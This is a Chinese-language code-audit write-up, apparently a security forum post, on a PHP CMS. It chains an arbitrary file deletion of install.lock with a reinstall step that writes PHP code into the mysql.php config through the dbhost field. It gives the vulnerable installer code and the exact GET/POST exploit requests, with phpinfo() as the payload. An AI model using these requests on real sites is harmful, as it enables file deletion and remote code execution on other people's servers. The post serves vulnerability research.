前言最近在社区看文章的时候,发现了这一篇https//forum.butian.net/share/326 发现作者在审计前的分析很详细,但是在找漏洞时太依靠工具,所以感觉应该还会存在一些漏洞,故有了本篇。 漏…
前言
最近在社区看文章的时候,发现了这一篇https://forum.butian.net/share/326 发现作者在审计前的分析很详细,但是在找漏洞时太依靠工具,所以感觉应该还会存在一些漏洞,故有了本篇。
漏洞分析
在我们对该CMS进行安装后,我们发现:
安装后任然存在install目录,并且会生成一个install.lock文件来标记,使我们不能再次安装。
所以,我们只要找到一个任意文件删除漏洞就可以把这个文件删除掉,然后就能进行重装,所以在全局搜索unlink
函数后,在前台的/app/controller/kindeditor.class.php
的delete
函数中发现了这段代码:
所以我们看到只要构造这样的payload:?ac=kindeditor_delete&pic=/app/data/install.lock
就能够把install.lock
删除然后就存在了重装漏洞了。
但是,一次审计,目的肯定是想要进行getshell,所以上述的漏洞当然不能满足我们的需求。但是我们都知道想要getshell,就只有传入一个能执行的马,但是该CMS对文件上传采用的是白名单,所以先暂时不对其进行考虑,这里,我们考虑到在install
目录中,在对cms进行安装时,会存在一个写入生成默认配置的问题,所以,先打开/install.index.php
,通读代码后发现大致利用代码如下:
$step = isset($_GET['step']) ? $_GET['step'] : 1;
......
switch ($step) {
......
case '4':
if (intval($_GET['install'])) {
$n = intval($_GET['n']);
$arr = array();
$dbHost = trim($_POST['dbhost']);
$dbPort = trim($_POST['dbport']);
$dbName = trim($_POST['dbname']);
$dbHost = empty($dbPort) || $dbPort == 3306 ? $dbHost : $dbHost . ':' . $dbPort;
$dbUser = trim($_POST['dbuser']);
$dbPwd = trim($_POST['dbpw']);
$dbPrefix = empty($_POST['dbprefix']) ? 'tc_' : trim($_POST['dbprefix']);
$uname = trim($_POST['manager_email']);
$password = trim($_POST['manager_pwd']);
$webpath = trim($_POST['webpath']);
$randkey = uniqid(rand());
$db_pconnect = 0;
$conn = @ mysql_connect($dbHost, $dbUser, $dbPwd);
if (!$conn) {
$arr['msg'] = "连接数据库失败!";
die(json_encode($arr));
}
mysql_query("SET NAMES 'UTF8'");
$version = mysql_get_server_info($conn);
if ($version < 4.1) {
$arr['msg'] = '数据库版本太低!';
die(json_encode($arr));
}
if (!mysql_select_db($dbName, $conn)) {
//创建数据时同时设置编码
if (!mysql_query("CREATE DATABASE IF NOT EXISTS `" . $dbName . "` DEFAULT CHARACTER SET UTF8;", $conn)) {
$arr['msg'] = '数据库 ' . $dbName . ' 不存在,也没权限创建新的数据库!';
die(json_encode($arr));
}
if (empty($n)) {
$arr['n'] = 1;
$arr['msg'] = "成功创建数据库:{$dbName}<br>";
die(json_encode($arr));
}
mysql_select_db($dbName, $conn);
}
//读取数据文件
$sqldata = file_get_contents('./' . $sqlFile);
$password = md5($password);
$website = 'http://'. SITE_URL;
$sqldata = str_replace('{username}',$uname,$sqldata);
$sqldata = str_replace('{password}',$password,$sqldata);
$sqldata = str_replace('{time}',time(),$sqldata);
$sqldata = str_replace('{website}',$website,$sqldata);
$sqldata = str_replace('{webpath}',$webpath,$sqldata);
$sqldata = str_replace('{dbPrefix}',$dbPrefix,$sqldata);
$sqlFormat = sql_split($sqldata, $dbPrefix);
//执行SQL语句
$counts = count($sqlFormat);
for ($i = $n; $i < $counts; $i++) {
$sql = trim($sqlFormat[$i]);
if (strstr($sql, 'CREATE TABLE')) {
preg_match('/CREATE TABLE `([^ ]*)`/', $sql, $matches);
mysql_query("DROP TABLE IF EXISTS `$matches[1]");
$ret = mysql_query($sql);
if ($ret) {
$message = '<li><span class="correct_span">√</span>创建数据表' . $matches[1] . ',完成</li> ';
} else {
$message = '<li><span class="correct_span error_span">√</span>创建数据表' . $matches[1] . ',失败</li>';
}
$i++;
$arr = array('n' => $i, 'msg' => $message);
die(json_encode($arr));
} else {
$ret = mysql_query($sql);
$message = '';
$arr = array('n' => $i, 'msg' => $message);
}
}
if ($i == 999999) exit;
$message = '成功添加站点信息<br />成功写入配置文件<br>安装完成.';
//
$newmodelstr = "<?php \n";
$newmodelstr .= " define('DBHOST', '" . $dbHost . "');\n ";
$newmodelstr .= "define('DBUSER', '" . $dbUser . "');\n ";
$newmodelstr .= "define('DBPWD', '" . $dbPwd . "');\n ";
$newmodelstr .= "define('DBNAME', '" . $dbName . "');\n ";
$newmodelstr .= "define('DBCODE', 'utf8');\n ";
$newmodelstr .= "define('DBCONN', " . $db_pconnect . ");\n ";
$newmodelstr .= "define('MORESITE', false);\n ";
$newmodelstr .= "define('USEMC', false);\n ";
$newmodelstr .= "define('MCHOST', '127.0.0.1');\n ";
$newmodelstr .= "define('MCPORT','11211');\n ";
$newmodelstr .= "define('MCHOST2', '127.0.0.1');\n ";
$newmodelstr .= "define('MCPORT2','11211');\n ";
$newmodelstr .= "\n?>\n";
$targetFile = '../app/data/mysql.php';
@file_put_contents($targetFile, $newmodelstr);
$arr = array('n' => 999999, 'msg' => $message);
die(json_encode($arr));
}
include_once ("./templates/s4.php");
exit;
}
因为代码过长,所以省略了没必要的代码,我们先从上述代码分析,发现我们要写入的内容中,我们能控制的变量只有$dbHost
,$dbUser
,$dbPwd
,$dbName
。而$dbUser
,$dbPwd
,$dbName
却都是固定的,我们没法进行修改,所以我们更多的是考虑对$dbHost
进行一些修改来搞,具体修改请继续往下看。
首先我们要让step
等于4
时,我们就能直接跳到case 4
中执行,然后需要再给install
参数以get方式赋值为1
,然后后面的dbname
这些就是数据库的用户名,这些都是正常的输入就好了,这里需要注意的地方只有两个点,第一个点是:
case '4':
if (intval($_GET['install'])) {
$n = intval($_GET['n']);
...
if (empty($n)) {
$arr['n'] = 1;
$arr['msg'] = "成功创建数据库:{$dbName}<br>";
die(json_encode($arr));
}
...
for ($i = $n; $i < $counts; $i++) {
$sql = trim($sqlFormat[$i]);
if (strstr($sql, 'CREATE TABLE')) {
preg_match('/CREATE TABLE `([^ ]*)`/', $sql, $matches);
mysql_query("DROP TABLE IF EXISTS `$matches[1]");
$ret = mysql_query($sql);
if ($ret) {
$message = '<li><span class="correct_span">√</span>创建数据表' . $matches[1] . ',完成</li> ';
} else {
$message = '<li><span class="correct_span error_span">√</span>创建数据表' . $matches[1] . ',失败</li>';
}
$i++;
$arr = array('n' => $i, 'msg' => $message);
die(json_encode($arr));
} else {
$ret = mysql_query($sql);
$message = '';
$arr = array('n' => $i, 'msg' => $message);
}
}
这里,$n
是对程序有影响的。首先$n
不可以空,然后还有一个for循环需要用到它。这里我们可以直接让$n
为一个很大的值,就可以跳出for循环就好了。
第二个点是
$conn = @ mysql_connect($dbHost, $dbUser, $dbPwd);
if (!$conn) {
$arr['msg'] = "连接数据库失败!";
die(json_encode($arr));
}
我们要连接数据库,所以我们要填写正确的内容。但是$dbHost
, $dbUser
, $dbPwd
中后面两个是固定不能变的,所以我们考虑使用URL的锚点定位
,所以我们这样构造:dbhost=127.0.0.1:3306#');phpinfo();
就可以绕过去了。
所以最后的构造是:
GET:http://127.0.0.1:92/install/index.php?step=4&install=1&n=1111
POST:dbhost=127.0.0.1:3306#');phpinfo();('111&dbname=wodecms&dbuser=root&dbpw=root&manager_email=admin&manager_pwd=admin123&webpath=/
后记
这个cms挺有意思的,开发在一些奇怪的地方很注意安全,但是再默认配置这里还存在修改数据库来改默认文件来,写入getshell的方式,这里就不多说了。有兴趣的小伙伴们可以自行下载该cms来进行审计!!!
- 本文作者: fthgb
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/387
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!